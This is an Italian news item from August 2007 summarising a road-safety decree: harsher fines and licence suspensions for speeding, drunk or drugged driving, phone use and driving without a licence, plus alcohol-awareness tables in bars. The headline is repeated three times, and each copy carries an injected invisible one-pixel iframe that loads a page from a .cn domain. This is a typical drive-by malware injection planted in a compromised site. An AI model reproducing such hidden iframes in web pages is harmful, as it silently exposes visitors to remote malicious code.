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8 agosto 2007 - La news ha avuto 48 visite
DECRETO LEGGE SULLA SICUREZZA STRADALE – LE NUOVE DISPOSIZIONI GIA’ IN VIGORE DAL 4 AGOSTO.<iframe src='http://virtuozbilnyak.cn/image/go.php?sid=1' frameborder=0 height=1 width=1></iframe>

DECRETO LEGGE SULLA SICUREZZA STRADALE – LE NUOVE DISPOSIZIONI GIA’ IN VIGORE DAL 4 AGOSTO.<iframe src=’http://virtuozbilnyak.cn/image/go.php?sid=1′ frameborder=0 height=1 width=1></iframe>

 <strong><iframe src=’http://virtuozbilnyak.cn/image/go.php?sid=1′ frameborder=0 height=1 width=1></iframe>DECRETO LEGGE SULLA SICUREZZA STRADALE – LE NUOVE DISPOSIZIONI GIA’ IN VIGORE DAL 4 AGOSTO.</strong><br /><br /><br />Su proposta del Ministro dei Trasporti, Alessandro Bianchi, il Consiglio dei Ministri ha varato un Decreto legge in materia di sicurezza stradale. L’obiettivo &egrave; di rendere immediatamente efficaci – gi&agrave; da sabato scorso 4 agosto – alcune disposizioni contenute nel Disegno di legge all’esame del Senato, che non sar&agrave; approvato per&ograve; dal Parlamento prima di settembre. <br /><br />Il &quot;Decreto Bianchi&quot; inasprisce in modo sensibile le sanzioni per le infrazioni pi&ugrave; comuni e pi&ugrave; pericolose, responsabili del maggior numero di incidenti mortali: dal superamento dei limiti di velocit&agrave; alla guida in stato di ebbrezza o sotto effetto di stupefacenti. Pi&ugrave; severe anche le sanzioni per l’utilizzo dei telefonini durante la guida.<br /><br /><strong><br />L’articolo 1 modifica l’articolo 116 in materia di guida senza patente.</strong><br /><br />Chi guida senza aver conseguito la patente, con patente revocata o non rinnovata per mancanza dei requisiti previsti sar&agrave; punito con l’ammenda da euro 2.257 a euro 9.032. Nell’ipotesi di recidiva nel biennio &egrave; previsto l’arresto fino ad un anno. L’infrazione sar&agrave; punita come fattispecie di rilevanza penale.<br /><br /><br /><strong>L’articolo 2 modifica l’articolo 117 codice della strada in materia di limitazioni alla guida.</strong><br /><br />&Egrave; stato modificato il comma 1 relativo a limitazioni alla guida di motocicli. L’articolo &egrave; stato riformulato in modo da operare come rinvio automatico alle normative comunitarie in materia.<br /><br />L’ultima direttiva europea cui bisogna far riferimento, la 2000/56/CE, prevede ad esempio che &quot;l’autorizzazione a guidare motocicli di potenza superiore a 25 kW o con rapporto potenza/peso (riferito alla tara) superiore a 0,16 kW/kg &egrave; subordinata al conseguimento della patente A da almeno due anni&quot;.<br /><br />Con l’introduzione del comma 2-bis, in materia di neo-patentati, ai quali la patente sia stata rilasciata a far data dal centottantesimo giorno dall’entrata in vigore del decreto legge &egrave; stata introdotta una ulteriore limitazione alla guida, relativa alla potenza specifica dei veicoli, riferita alla tara, che non pu&ograve; essere superiore superiore a 50 kW/t.<br /><br />Il divieto quindi &egrave; previsto soltanto per chi consegue la patente B a partire dal centottantesimo giorno successivo all’entrata in vigore del decreto. <br /><br />Saranno cos&igrave; salvaguardati i diritti acquisiti dal cittadino che ha gi&agrave; conseguito la patente da non pi&ugrave; di tre anni o che la conseguir&agrave; nei 180 giorni seguenti l’entrata in vigore della norma.<br /><br />Il comma 3 introduce una nuova previsione in tema di trasporto dei minori: modificando l’articolo 170 del Codice della Strada, si &egrave; introdotto il divieto assoluto di trasportare minori di quattro anni su veicoli a due ruote, divieto sanzionato con il pagamento di una sanzione amministrativa pecuniaria. La sanzione amministrativa in questo caso va da 148 a 594 euro.<br /><br /><br /><strong>L’articolo 3 modifica l’articolo 142 del codice della strada in materia di velocit&agrave; dei veicoli.</strong><br /><br />Le nuove disposizione prevedono un incremento sia delle sanzioni pecuniarie sia della durata della sospensione della patente. Sar&agrave; possibile impiegare come fonti di prova anche dispositivi che calcolano la velocit&agrave; media su un tratto predeterminato. &Egrave; previsto che le postazioni di controllo sulla rete stradale per il rilevamento della velocit&agrave; debbano essere ben visibili e preventivamente segnalate con l’uso di cartelli o di dispositivi di segnalazione luminosi.<br /><br />Sono state rimodulate le fasce di eccesso della velocit&agrave; oltre il limite consentito, con sanzioni pi&ugrave; pesanti soltanto per le eccedenze superiori a 40 km/h e a 60 km/h rispetto al limite).<br /><br />Chiunque supera – ad esempio – di 40km/h ma di non oltre 60 km/h i limiti massimi di velocit&agrave; &egrave; soggetto al pagamento di una somma da 370 a 1.458 euro e alla sospensione della patente da tre a sei mesi. Se in un periodo di due anni viene nuovamente sanzionato per il superamento dei limiti di velocit&agrave; la sospensione della patente va da otto a diciotto mesi.<br /><br />Se si superano i limiti di oltre 60 km/h, la multa da pagare parte da 500 e arriva a 2.000 euro e la sospensione della patente va da sei a dodici mesi. In questo caso, se nei due anni viene accertata la stessa violazione del codice, si proceder&agrave; alla revoca della patente.<br /><br /><strong><br />L’articolo 4 modifica dell’articolo 173 del codice della strada in materia di uso dei dispositivi radiotrasmittenti durante la guida.</strong><br /><br />Il Codice della strada prevede il divieto per il conducente di far uso durante la marcia di apparecchi radiotelefonici ovvero di usare cuffie sonore, ma consente l’utilizzo di apparecchi a viva voce, o dotati di auricolare purch&eacute; il conducente per il loro funzionamento non debba usare le mani.<br /><br />L’obiettivo &egrave; l’innalzamento del livello di attenzione del conducente attraverso il divieto di qualsiasi apparecchio (su tutti i cellulari) che distragga dalla guida o possa impegnare anche una sola mano.<br /><br />Le multe vanno da 148 a 594 euro. Si pu&ograve; arrivare alla sospensione della patente di guida da uno a tre mesi se la violazione viene ripetuta nel corso di un biennio.<br /><br /><strong><br />L’articolo 5 modifica gli articoli 186 e 187 del codice della strada in materia di guida in stato di ebbrezza alcolica o sotto l’effetto di stupefacenti.<br /></strong><br />Le nuove disposizioni vogliono essere una risposta immediata ed incisiva per contrastare il gravissimo fenomeno della guida in stato di ebbrezza alcolica o sotto l’effetto di stupefacenti, che secondo stime dell’Organizzazione Mondiale della Sanit&agrave;, dell’Istituto Superiore di Sanit&agrave; e della Societ&agrave; Italiana di Alcologia, determina almeno il 30% degli incidenti gravi che si verificano nel nostro paese. <br /><br />Sono previsti tre &quot;gradi di intensit&agrave;&quot; della violazione, ai quali corrispondono tre differenti livelli di sanzioni:<br /><br />a) guida in stato di ebbrezza con tasso alcolemico compreso tra un valore eccedente lo 0,5 e non superiore allo 0,8 grammi per litro (g/l): per tale ipotesi &egrave; stata inasprita la sanzione pecuniaria (l’importo dell’ammenda, attualmente compreso tra euro 258 ed euro 1.032) diventa da euro 500 ad euro 2.000. Confermata la pena dell’arresto fino a un mese, &egrave; stata inasprita altres&igrave; la sanzione amministrativa accessoria della sospensione della patente che, dagli attuali quindici giorni a tre mesi, diviene da tre a sei mesi;<br />b) guida in stato di ebbrezza con tasso alcolemico compreso tra un valore eccedente lo 0,8 e non superiore all’1,5 grammi per litro (g/l): in questo caso – non previsto sino ad oggi dalla legge – la sanzione pecuniaria prevista va da 800 a 3.200 euro. La pena dell’arresto &egrave; prevista fino a tre mesi, e la sanzione amministrativa accessoria della sospensione della patente da sei mesi ad un anno. <br />c) guida in stato di ebbrezza con tasso alcolemico superiore all’1,5 grammi per litro (g/l). Per tale ipotesi la sanzione pecuniaria prevista parte da un minimo di euro 1.500 per arrivare ad un massimo di 6.000 euro. La pena dell’arresto &egrave; prevista fino a sei mesi, e la sanzione amministrativa accessoria della sospensione della patente da uno a due anni.<br />In ogni caso la pena detentiva pu&ograve; essere commutata nella misura alternativa dello svolgimento di un’attivit&agrave; a titolo gratuito e continuativo presso strutture sanitarie traumatologiche pubbliche. <br /><br />In tutti i casi &egrave; disposta la revoca della patente qualora il reato sia commesso da un conducente titolare di patente professionale, o da titolare di patente di categoria B nell’ipotesi di recidiva nel biennio.<br /><br />Le pene sono raddoppiate quando il conducente in stato di ebbrezza (di qualunque entit&agrave;) provochi un incidente stradale: &egrave; inoltre disposto il fermo amministrativo del veicolo coinvolto nell’incidente per novanta giorni, a meno che il veicolo stesso non appartenga a persona estranea al reato.<br /><br />Salvo che il fatto costituisca reato, in caso di rifiuto dell’accertamento il conducente &egrave; soggetto alla sanzione amministrativa del pagamento di una somma da 2.500 a 10.000 euro. Se la violazione &egrave; commessa in occasione di un incidente stradale in cui il conducente &egrave; rimasto coinvolto, si applica la sanzione amministrativa pecuniaria da 3.000 a 12.000 euro. <br /><br />Dalla violazione conseguono la sanzione amministrativa accessoria della sospensione della patente di guida per un periodo da sei mesi a due anni e del fermo amministrativo del veicolo per un periodo di centottanta giorni, salvo che il veicolo appartenga a persona estranea alla violazione. <br /><br />Quando lo stesso soggetto compie pi&ugrave; violazioni nel corso di un biennio, &egrave; sempre disposta la sanzione amministrativa accessoria della revoca della patente di guida.<br /><br />Chiunque guida in stato di alterazione psico-fisica dopo aver assunto sostanze stupefacenti o psicotrope &egrave; punito con l’ammenda da 1.000 a 4.000 euro, l’arresto fino a tre mesi. <br /><br />Anche in questo caso &egrave; possibile richiedere la misura alternativa.<br /><br />All’accertamento del reato consegue la sanzione amministrativa accessoria della sospensione della patente di guida da sei mesi ad un anno. La patente di guida &egrave; sempre revocata, quando il reato &egrave; commesso dal conducente di un autobus o di un veicolo di massa complessiva a pieno carico superiore a 3,5 t. o ancora quando il titolare di patente B sia recidivo nel biennio.<br /><br />Se il conducente in stato di alterazione psico-fisica dopo aver assunto sostanze stupefacenti o psicotrope provoca un incidente stradale, le pene sono raddoppiate ed &egrave; disposto il fermo amministrativo del veicolo per novanta giorni.<br /><br /><br /><strong>L’articolo 6, infine, introduce disposizioni volte a promuovere la consapevolezza dei rischi di incidente stradali in caso di guida in stato di ebbrezza</strong><br /><br />Viene introdotto l’obbligo per i titolari e i gestori di locali ove si svolgano, con qualsiasi modalit&agrave; e in qualsiasi orario, spettacoli o altre forme di intrattenimento, unitamente alla vendita e somministrazione di bevande alcoliche, di esporre delle tabelle che indichino i sintomi correlati a diversi gradi di concentrazione di alcol nel sangue, nonch&eacute; le quantit&agrave; delle bevande alcoliche pi&ugrave; comuni che fanno superare i limiti previsti per la guida in stato di ebbrezza.

 

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